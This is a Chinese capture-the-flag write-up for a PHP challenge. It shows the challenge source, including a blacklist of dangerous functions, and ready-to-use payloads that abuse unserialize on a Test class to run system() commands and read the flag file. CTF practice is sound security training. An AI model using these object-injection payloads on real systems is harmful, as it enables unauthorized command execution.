拿到题目访问一下,发现页面会自动刷新
所以我们抓一下包
很明显date是一个php的函数,而p是其中的一个参数,表示输出时间。
因此我们可以执行一下eval函数
很明显,被拦了。这时候我们可以考虑一下读取index.php的源码
利用highlight_file函数
func=highlight_file&p=index.php
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);#调用函数
$a= gettype($result);#获取类型
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);#字符转小写
if (!in_array($func,$disable_fun)) {#在数组中搜索值
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
```
很明显这里的Test就是读取了func,需要你构造一个反序列化去绕过。
```c
<?php
class Test{
var $p="ls /";
var $func="system";
}
$a =new Test();
echo serialize($a);
然后对代码进行分析构造payload,题目要求我们构造一个反序列化
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
#构造payload
#反序列化前的语句:find / -name flag*
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
找到存有flag 的文件夹/tmp/flagoefiu4r93
最后找到flag
#构造payload
#反序列化前的语句:cat /tmp/flagoefiu4r93
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
flag为动态的